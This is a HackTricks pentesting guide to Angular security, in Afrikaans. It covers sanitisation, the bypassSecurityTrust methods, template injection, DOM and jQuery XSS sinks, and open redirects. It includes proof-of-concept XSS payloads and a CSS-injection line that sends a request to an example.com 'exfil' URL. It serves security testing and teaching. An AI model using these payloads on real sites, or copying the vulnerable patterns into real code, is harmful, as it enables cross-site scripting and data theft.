# Angular

{{#include ../../banners/hacktricks-training.md}}

## Die Kontrolelys

Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).

* [ ] Angular word beskou as 'n kliënt-kant raamwerk en word nie verwag om bediener-kant beskerming te bied nie
* [ ] Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
* [ ] Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
* [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
* [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks oorgedra nie

## Wat is Angular

Angular is 'n **kragtige** en **oopbron** front-end raamwerk wat deur **Google** onderhou word. Dit gebruik **TypeScript** om kode leesbaarheid en foutopsporing te verbeter. Met sterk sekuriteitsmeganismes voorkom Angular algemene kliënt-kant kwesbaarhede soos **XSS** en **oop omleidings**. Dit kan ook aan die **bediener-kant** gebruik word, wat sekuriteitsoorwegings belangrik maak van **albei kante**.

## Raamwerk argitektuur

Om die basiese beginsels van Angular beter te verstaan, kom ons kyk na sy essensiële konsepte.

Gewone Angular projek lyk gewoonlik soos:
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik daaronder as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts` lêer.

Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts` lêer.

Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts` lêer.

Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die `@Injectable()` dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.

## Sourcemap konfigurasie

Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json` lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat vir skrifte geaktiveer is en nie standaard versteek is nie:
```json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
```
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalise deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.

Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaier ontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.

## Data binding

Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenstemmende weergawe. Dit word gebruik om data na en van die Angular-raamwerk oor te dra. Data kan deur verskeie middele oorgedra word, soos deur gebeurtenisse, interpolasie, eienskappe, of deur die twee-rigting binding meganisme. Boonop kan data ook tussen verwante komponente (ouer-kind verhouding) en tussen twee nie-verwante komponente met behulp van die Diens-funksie gedeel word.

Ons kan binding klassifiseer volgens datastroom:

* Datasoort na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuute_, _klasse_ en _style_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
* Weergawe teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
* Twee-rigting; kan toegepas word deur `[()]` in die sjabloon te gebruik.

Binding kan op eienskappe, gebeurtenisse en attribuute, sowel as op enige openbare lid van 'n bronrigting genoem word:

| TYPE      | TEIKEN                                                   | VOORBEELDE                                                          |
| --------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
| Eiendom   | Element eiendom, Komponent eiendom, Rigting eiendom     | \<img \[alt]="hero.name" \[src]="heroImageUrl">                   |
| Gebeurtenis| Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save                    |
| Twee-rigting| Gebeurtenis en eiendom                                 | \<input \[(ngModel)]="name">                                      |
| Attribuut | Attribuut (die uitsondering)                            | \<button type="button" \[attr.aria-label]="help">help             |
| Klas      | klas eiendom                                             | \<div \[class.special]="isSpecial">Special                        |
| Styl      | styl eiendom                                             | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |

## Angular sekuriteitsmodel

Angular se ontwerp sluit kodering of sanitisering van alle data standaard in, wat dit al hoe moeiliker maak om XSS kwesbaarhede in Angular projekte te ontdek en te benut. Daar is twee duidelike scenario's vir dataverwerking:

1.  Interpolasie of `{{user_input}}` - voer konteks-sensitiewe kodering uit en interpreteer gebruikersinvoer as teks;

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}
```

Resultaat: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2.  Binding aan eienskappe, attribuute, klasse en style of `[attribute]="user_input"` - voer sanitisering uit gebaseer op die verskafde sekuriteitskonteks.

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>
```

Resultaat: `<div><h1>test</h1></div>`

Daar is 6 tipes `SecurityContext` :

* `None`;
* `HTML` word gebruik, wanneer waarde as HTML geïnterpreteer word;
* `STYLE` word gebruik, wanneer CSS in die `style` eiendom gebind word;
* `URL` word gebruik vir URL eiendomme, soos `<a href>`;
* `SCRIPT` word gebruik vir JavaScript kode;
* `RESOURCE_URL` as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in `<script src>`.

## Kwesbaarhede

### Bypass Security Trust metodes

Die Angular stel 'n lys met metodes bekend om sy standaard sanitisering proses te omseil en om aan te dui dat 'n waarde veilig in 'n spesifieke konteks gebruik kan word, soos in die volgende vyf voorbeelde:

1.  `bypassSecurityTrustUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige styl URL is:

```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//resultaat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2.  `bypassSecurityTrustResourceUrl` word gebruik om aan te dui dat die gegewe waarde 'n veilige hulpbron URL is:

```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//resultaat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3.  `bypassSecurityTrustHtml` word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van `script` elemente in die DOM-boom op hierdie manier nie sal veroorsaak dat hulle die ingeslote JavaScript-kode uitvoer nie, as gevolg van hoe hierdie elemente aan die DOM-boom bygevoeg word.

```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//resultaat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4.  `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag onvoorspelbaar is, omdat ons nie JS-kode in sjablone met hierdie metode kon uitvoer nie.

```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//resultaat
-
```
5.  `bypassSecurityTrustStyle` word gebruik om aan te dui dat die gegewe waarde veilige CSS is. Die volgende voorbeeld illustreer CSS-inspuiting:

```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//resultaat
Request URL: GET example.com/exfil/a
```

Angular bied 'n `sanitize` metode aan om data te sanitisere voordat dit in weergawes vertoon word. Hierdie metode gebruik die sekuriteitskonteks wat verskaf word en reinig die invoer dienooreenkomstig. Dit is egter van kardinale belang om die korrekte sekuriteitskonteks vir die spesifieke data en konteks te gebruik. Byvoorbeeld, om 'n sanitisateur met `SecurityContext.URL` op HTML-inhoud toe te pas, bied nie beskerming teen gevaarlike HTML-waardes nie. In sulke scenario's kan die misbruik van sekuriteitskonteks lei tot XSS-kwesbaarhede.

### HTML inspuiting

Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuute HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie. 

Voorbeeld van die gebruik van `innerHTML`:
```jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>
```
<div><h1>test</h1></div>

### Template-inspuiting

#### Kliënt-kant Rendering (CSR)

Angular benut sjablone om bladsye dinamies te konstrueer. Die benadering behels die insluiting van sjabloonuitdrukkings wat Angular moet evalueer binne dubbele haakies (`{{}}`). Op hierdie manier bied die raamwerk bykomende funksionaliteit. Byvoorbeeld, 'n sjabloon soos `{{1+1}}` sou as 2 vertoon.

Tipies, Angular ontsnap gebruikersinvoer wat verwar kan word met sjabloonuitdrukkings (bv. karakters soos \`< > ' " \`\`). Dit beteken dat bykomende stappe nodig is om hierdie beperking te omseil, soos om funksies te gebruik wat JavaScript-stringobjekte genereer om te verhoed dat geblacklisted karakters gebruik word. Om dit te bereik, moet ons egter die Angular-konteks, sy eienskappe en veranderlikes oorweeg. Daarom kan 'n sjabloon-inspuitingaanval soos volg voorkom:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Soos hierbo getoon: `constructor` verwys na die omvang van die Object `constructor` eiendom, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.

#### Server-Side Rendering (SSR)

In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ondanks hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.

Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.

### XSS

#### DOM interfaces

Soos voorheen vermeld, kan ons die DOM direk benader met die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.

Ons het die `document.write()` en `document.createElement()` metodes in die voorbeelde hieronder gebruik:
```jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```
#### Angular klasse

Daar is 'n paar klasse wat gebruik kan word om met DOM-elemente in Angular te werk: `ElementRef`, `Renderer2`, `Location` en `Document`. 'n Gedetailleerde beskrywing van die laaste twee klasse word in die **Open redirects** afdeling gegee. Die hoofverskil tussen die eerste twee is dat die `Renderer2` API 'n laag van abstraksie tussen die DOM-element en die komponentkode bied, terwyl `ElementRef` net 'n verwysing na die element hou. Daarom, volgens Angular-dokumentasie, moet die `ElementRef` API slegs as 'n laaste uitweg gebruik word wanneer direkte toegang tot die DOM benodig word.

*   `ElementRef` bevat die eienskap `nativeElement`, wat gebruik kan word om die DOM-elemente te manipuleer. Onbehoorlike gebruik van `nativeElement` kan egter lei tot 'n XSS-inspuitingskwesbaarheid, soos hieronder getoon:

```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
*   Ten spyte van die feit dat `Renderer2` 'n API bied wat veilig gebruik kan word selfs wanneer direkte toegang tot inheemse elemente nie ondersteun word nie, het dit steeds 'n paar sekuriteitsfoute. Met `Renderer2` is dit moontlik om eienskappe op 'n HTML-element in te stel met die `setAttribute()` metode, wat geen XSS voorkoming meganismes het nie.

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
```
*   Om die eienskap van 'n DOM-element in te stel, kan jy die `Renderer2.setProperty()` metode gebruik en 'n XSS-aanval ontketen:

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
```

Tydens ons navorsing het ons ook die gedrag van ander `Renderer2` metodes, soos `setStyle()`, `createComment()`, en `setValue()`, in verband met XSS en CSS inspuitings ondersoek. Ons kon egter nie enige geldige aanvalsvectors vir hierdie metodes vind nie weens hul funksionele beperkings.

#### jQuery

jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan die metodes van hierdie biblioteek egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery-metodes in Angular-projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.

*   Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Volgens ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-tags of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
```
*   Die `jQuery.parseHTML()` metode gebruik inheemse metodes om die string na 'n stel DOM-knope om te skakel, wat dan in die dokument ingevoeg kan word.

```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```

Soos voorheen genoem, sal die meeste jQuery API's wat HTML-stringe aanvaar, skripte wat in die HTML ingesluit is, uitvoer. Die `jQuery.parseHTML()` metode voer nie skripte in die geparseerde HTML uit nie, tensy `keepScripts` eksplisiet `true` is. Dit is egter steeds moontlik in die meeste omgewings om skripte indirek uit te voer; byvoorbeeld, via die `<img onerror>` eienskap.

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
```

### Open redirects

#### DOM interfaces

Volgens die W3C-dokumentasie word die `window.location` en `document.location` objek as sinonieme in moderne blaaiers behandel. Dit is waarom hulle 'n soortgelyke implementering van sommige metodes en eienskappe het, wat 'n open redirect en DOM XSS met `javascript://` skema-aanvalle kan veroorsaak, soos hieronder genoem.

*   `window.location.href`(en `document.location.href`)

Die kanonieke manier om die huidige DOM-lokasie objek te kry, is deur `window.location` te gebruik. Dit kan ook gebruik word om die blaaier na 'n nuwe bladsy te herlei. As gevolg hiervan, om beheer oor hierdie objek te hê, stel ons in staat om 'n open redirect kwesbaarheid te benut.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```

Die eksploitasiestap is identies vir die volgende scenario's.
*   `window.location.assign()`(en `document.location.assign()`)

Hierdie metode laat die venster toe om die dokument by die gespesifiseerde URL te laai en weer te gee. As ons beheer oor hierdie metode het, kan dit 'n sink vir 'n open redirect aanval wees.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
*   `window.location.replace()`(en `document.location.replace()`)

Hierdie metode vervang die huidige hulpbron met die een by die gegewe URL.

Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na die gebruik van `window.location.replace()`. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
*   `window.open()`

Die `window.open()` metode neem 'n URL en laai die hulpbron wat dit identifiseer in 'n nuwe of bestaande tab of venster. Om beheer oor hierdie metode te hê, kan ook 'n geleentheid wees om 'n XSS of open redirect kwesbaarheid te ontketen.

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
```

#### Angular klasse

*   Volgens Angular-dokumentasie is Angular `Document` dieselfde as die DOM-dokument, wat beteken dat dit moontlik is om algemene vektore vir die DOM-dokument te gebruik om kliëntkant kwesbaarhede in die Angular te benut. `Document.location` eienskappe en metodes kan sinke wees vir suksesvolle open redirect aanvalle soos in die voorbeeld getoon:

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
*   Tydens die navorsingsfase het ons ook die Angular `Location` klas vir open redirect kwesbaarhede hersien, maar geen geldige vektore is gevind nie. `Location` is 'n Angular-diens wat toepassings kan gebruik om met 'n blaaiers huidige URL te kommunikeer. Hierdie diens het verskeie metodes om die gegewe URL te manipuleer - `go()`, `replaceState()`, en `prepareExternalUrl()`. Ons kan egter nie hulle gebruik vir herleiding na die eksterne domein nie. Byvoorbeeld:

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```

Resultaat: `http://localhost:4200/http://google.com/about`
*   Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg geen addisionele kwesbaarhede by die toepassing nie:

```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```

Resultaat: `http://localhost:4200/https:`

Die volgende metodes navigeer ook binne die domein se omvang:

```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```

## Verwysings

* [Angular](https://angular.io/)
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace and project file structure](https://angular.io/guide/file-structure)
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding syntax](https://angular.io/guide/binding-syntax)
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Documentation](http://api.jquery.com/)
* [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)



{{#include ../../banners/hacktricks-training.md}}